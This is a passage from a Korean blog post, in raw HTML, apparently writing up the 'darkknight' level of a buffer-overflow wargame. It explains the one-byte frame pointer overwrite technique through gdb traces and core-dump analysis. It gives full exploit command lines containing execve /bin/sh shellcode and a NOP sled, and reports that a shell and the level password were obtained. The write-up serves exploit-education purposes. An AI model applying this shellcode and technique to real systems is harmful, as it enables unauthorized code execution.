this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;251&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYheJT/btsEEBVLpaZ/1CEP70yXCTnPKxg6APdy6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYheJT/btsEEBVLpaZ/1CEP70yXCTnPKxg6APdy6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYheJT/btsEEBVLpaZ/1CEP70yXCTnPKxg6APdy6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYheJT%2FbtsEEBVLpaZ%2F1CEP70yXCTnPKxg6APdy6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;216&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDOqob/btsEFT8XSeP/AiucZ8WG64EjxfNJnRKh2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDOqob/btsEFT8XSeP/AiucZ8WG64EjxfNJnRKh2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDOqob/btsEFT8XSeP/AiucZ8WG64EjxfNJnRKh2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDOqob%2FbtsEFT8XSeP%2FAiucZ8WG64EjxfNJnRKh2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;400&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 main 함수의 leave 명령을 실행하는 부분에 설치된 bp까지 실행했을 때 ebp의 값은 0xbffffca0인데, leave 명령을 실행하고 나서는 esp가 가리키는 주소(0xbffffca0)에 있는 값 0x804849e로 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 esp 역시 leave 명령을 실행하기 전과 실행하고 난 후의 값이 바뀌었는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서 &quot;leave 명령을 수행하기 전에 0xbffffca8이었는데, leave 명령을 실행하고 나서 4를 더한 0xbffffcac가 아니라 왜 4가 적어진 0xbffffca0일까&quot; 하는 의문점이 든다면 이건 결과적인 부분만 봐서 그렇다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;leave 명령의 동작 원리를 다시 보자면 mov esp, ebp; pop ebp이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 과정을 설명하자면 leave 명령이 실행되기 전 esp의 값은 0xbffffca8이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 여기서 leave 명령의 mov esp, ebp에 의해 esp의 값은 0xbffffca0이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. 이어서 pop ebp에 의해 0xbffffca0에 있는 값 0x804849e를 ebp에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리하여 결과적으로 4가 적어진 0xbffffca4 주소가 esp에 들어간 것으로 보이는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bw2eRz/btsEFhCfyX1/JQXGZ1kF4kSkLBj1GLUWh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bw2eRz/btsEFhCfyX1/JQXGZ1kF4kSkLBj1GLUWh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bw2eRz/btsEFhCfyX1/JQXGZ1kF4kSkLBj1GLUWh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbw2eRz%2FbtsEFhCfyX1%2FJQXGZ1kF4kSkLBj1GLUWh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;352&quot; height=&quot;218&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tv4ys/btsEGPrtoOc/l7LfCYmEYmr4xrB0KNFokK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tv4ys/btsEGPrtoOc/l7LfCYmEYmr4xrB0KNFokK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tv4ys/btsEGPrtoOc/l7LfCYmEYmr4xrB0KNFokK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftv4ys%2FbtsEGPrtoOc%2Fl7LfCYmEYmr4xrB0KNFokK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;142&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwlopK/btsEFNOzezA/dOZg59hc0mqgY7lRedfcvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwlopK/btsEFNOzezA/dOZg59hc0mqgY7lRedfcvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwlopK/btsEFNOzezA/dOZg59hc0mqgY7lRedfcvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwlopK%2FbtsEFNOzezA%2FdOZg59hc0mqgY7lRedfcvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;71&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 main() 함수 에필로그의 ret 명령을 실행하면 pop eip에 의해 esp가 가리키는 주소(0xbffffca4)의 값 0xbffffe00이 eip로 들어가고, 다음 명령 jmp eip를 실행하면 0xbffffe28은 스택의 주소이기 때문에 Segmentation fault 에러와 함께 종료한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707746241395&quot; class=&quot;x86asm&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;FPO 기법을 간단히 말하자면

1. sub 함수의 에필로그에서 leave 명령은 ebp에 sfp의 값을 담고, ret 명령으로 main으로 돌아간다.

2.main 함수의 에필로그에서 leave 명령은 sfp에 담았던 주소에 있는 값을 ebp에 넣는데 이는 그저 esp+4만 할 뿐 의미가 없고
이어서 ret 명령이 실행될 때 스택에 있는 값(4byte)에 해당하는 위치로 jump 한다.&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;179&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JFC2I/btsEGR3TOs1/dDH7aVc2h4WjDgttRBVkLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JFC2I/btsEGR3TOs1/dDH7aVc2h4WjDgttRBVkLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JFC2I/btsEGR3TOs1/dDH7aVc2h4WjDgttRBVkLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJFC2I%2FbtsEGR3TOs1%2FdDH7aVc2h4WjDgttRBVkLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;179&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;179&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;89&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwsAtb/btsEECHcp9f/ng9eQQB0aS4lVaEWcHlbRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwsAtb/btsEECHcp9f/ng9eQQB0aS4lVaEWcHlbRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwsAtb/btsEECHcp9f/ng9eQQB0aS4lVaEWcHlbRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwsAtb%2FbtsEECHcp9f%2Fng9eQQB0aS4lVaEWcHlbRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;89&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;89&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;main() 함수에서는 변수를 선언하지 않았는데, gdb로 디버깅을 해보니 지역 변수를 위한 공간으로 할당하는 것이 없으므로 dummy 값은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;problem_child() 함수에서는 buffer[40] 변수 하나만 선언했는데, gdb로 보면 지역 변수를 위한 공간으로 40byte를 확보하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공격 시나리오는 이렇다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;커맨드라인 인자를 1개 이상 입력이기 때문에 첫 번째 커맨드라인 인자에는 buffer[40]에 채울 내용 40byte와 SFP 부분에 덮어쓸 1byte를 입력하고, 두 번째 커맨드라인 인자에는 NOP + shellcode를 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;buffer[40]에는 argv[2]의 주소를 넣고, SFP 부분에 덮어쓸 1byte는 buffer[40]의 주소에서 4를 뺀 주소의 하위 1byte를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러면 두 번의 함수 에필로그와 leave, ret 명령의 동작원리로 셸코드가 실행되게 될 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1707625339403&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. problem_child 함수의 함수 에필로그 과정 중
leave 명령에 의해 ebp 레지스터에 problem_child 함수의 변조된 SFP의 값 buffer[40]-4의 주소가 담기고
ret 명령에 의해 main 함수로 돌아간다.

2. main 함수의 함수 에필로그 과정 중 leave 명령에 의해 ebp, esp 모두 buffer[40]-4의 주소를 가리키다가
ebp에는 buffer[40]-4의 주소에 있는 값이 담기게 되므로 그 값에 해당하는 위치를 가리키게 되고
esp는 buffer[40]의 주소를 가리키게 된다.

3. 마지막으로 main 함수의 함수 에필로그 과정 중 ret 명령에 의해 buffer[40]의 주소에 있는 값에 해당하는 곳의 명령을 실행하는데
이 buffer[40]의 주소에 있는 값은 argv[2]의 주소로 셸코드가 있는 주소이기 때문에 셸코드가 실행되게 되는 것이다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6xXpE/btsEF34IF53/YqKe9tvpcStDgIkAiYcOzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6xXpE/btsEF34IF53/YqKe9tvpcStDgIkAiYcOzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6xXpE/btsEF34IF53/YqKe9tvpcStDgIkAiYcOzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6xXpE%2FbtsEF34IF53%2FYqKe9tvpcStDgIkAiYcOzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;126&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEL5z5/btsEEFRmP5j/tiP7uqtrKaKZQV4igPnKdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEL5z5/btsEEFRmP5j/tiP7uqtrKaKZQV4igPnKdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEL5z5/btsEEFRmP5j/tiP7uqtrKaKZQV4igPnKdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEL5z5%2FbtsEEFRmP5j%2FtiP7uqtrKaKZQV4igPnKdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;378&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;669&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZCodl/btsEF43CV4R/7AP3VaHPsj494e5KljVuV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZCodl/btsEF43CV4R/7AP3VaHPsj494e5KljVuV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZCodl/btsEF43CV4R/7AP3VaHPsj494e5KljVuV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZCodl%2FbtsEF43CV4R%2F7AP3VaHPsj494e5KljVuV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;669&quot; height=&quot;71&quot; data-origin-width=&quot;669&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707649521470&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./darkknight2 `python -c 'print &quot;\x90&quot; * 40 + &quot;\xa0&quot;'` `python -c 'print &quot;\x90&quot; * 100 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`

gdb -q -c core

x/80x $esp-164&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저, buffer[40]의 주소와 argv[2]의 주소를 알아야 하기 때문에 core 파일을 생성해서 알아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;buffer[40]의 시작 주소는 0xbffffbf4이고, buffer[40]의 주소에서 4를 뺀 주소는 0xbffffbf0이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그런데 여기서 주의해야 할 점은 problem_child() 함수의 SFP 부분인 0xbffffc1c 주소를 보면 main 함수의 ebp 값 즉, main 함수의 SFP 부분의 시작 주소는 0xbffffc로 시작하는 걸 볼 수 있는데, 문제에서는 problem_child() 함수 내 SFP 부분의 값의 하위 1byte만 변조하기 때문에 ebp를 이동시키려는 주소(buffer[40]-4의 주소)도 0xbffffc로 시작해야 한다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지금 현재 상태의 buffer[40]-4의 주소는 0xbffffb로 시작하는데, 이는 argv[2]의 NOP가 너무 많아서 그런 것으로, 다행히 buffer[40]의 영역은 0xbffffc로 시작하는 주소도 포함되어 있으므로 buffer[40]에 argv[2]의 주소(4byte)를 10번 채우고 0xbffffc로 시작하는 주소의 하위 1byte로 SFP 부분의 1byte를 변조시키면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1707745379242&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;참고)

위의 사진을 참고하여 설명하자면

0xbffffc로만 시작하면 된다고 해서 0xbffffc18 주소의 하위 1byte인 18로 SFP 부분의 1byte를 변조시키면 안된다.

이유는 위의 FPO 기법 설명에서도 나왔듯이 leave 명령의 pop ebp로 인해 esp가 0xbffffc1c주소를 가리키게 되고
그 상태에서 ret의 pop eip가 실행되면 buffer[40]의 영역을 벗어나기 때문에 argv[2]의 주소로 jump 하는 것이 아니라
problem_child() 함수의 SFP 부분에 있는 값에 해당하는 위치(0xbffffca0)로 jump 하게 된다.&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1707745311740&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;사실 이 글에서는 argv[2]의 NOP가 너무 많아서 생기는 문제로, 원래의 buffer[40]-4의 주소가 아닌

유도리 있게 buffer[40]의 영역에서 0xbffffc로 시작하는 주소로 대체 하는 것 뿐이지

NOP를 90 정도만 줘도 원래의 buffer[40]-4의 주소는 0xbffffc로 시작한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;결과적으로 buffer[40]-4의 주소를 대체 할 주소는 0xbffffc00이고, argv[2]의 주소는 0xbffffda6이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(위에서도 말했듯이 buffer[40]-4 주소의 6byte가 problem_child() 함수 SFP 부분에 있는 값의 6byte와 같으면 이 글에서처럼 대체하지 말고 buffer[40]-4 주소를 그대로 이용하면 된다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk2Qm1/btsEFdmKL9H/iWOYN1WqUIieZWRBRLlOqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk2Qm1/btsEFdmKL9H/iWOYN1WqUIieZWRBRLlOqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk2Qm1/btsEFdmKL9H/iWOYN1WqUIieZWRBRLlOqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk2Qm1%2FbtsEFdmKL9H%2FiWOYN1WqUIieZWRBRLlOqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;90&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707745776141&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./darkknight2 `python -c 'print &quot;\xa6\xfd\xff\xbf&quot; * 10 + &quot;\x00&quot;'` `python -c 'print &quot;\x90&quot; * 100 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;core 파일을 분석해서 알아낸 정보를 바탕으로 수정된 payload를 인자로 하여 darkknight2를 실행하면 셸이 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pfv3i/btsEGMonI40/1iwk1V5197umARwmDPBGi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pfv3i/btsEGMonI40/1iwk1V5197umARwmDPBGi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pfv3i/btsEGMonI40/1iwk1V5197umARwmDPBGi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpfv3i%2FbtsEGMonI40%2F1iwk1V5197umARwmDPBGi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;146&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그렇다면 수정된 payload를 인자로 주어 darkknight를 실행하면 password &quot;new attacker&quot;를 얻을 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;시행착오&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGjq44/btsEMZAe88m/YbTk4SHB5MGdc4cqJY9Zi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGjq44/btsEMZAe88m/YbTk4SHB5MGdc4cqJY9Zi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGjq44/btsEMZAe88m/YbTk4SHB5MGdc4cqJY9Zi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGjq44%2FbtsEMZAe88m%2FYbTk4SHB5MGdc4cqJY9Zi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;556&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
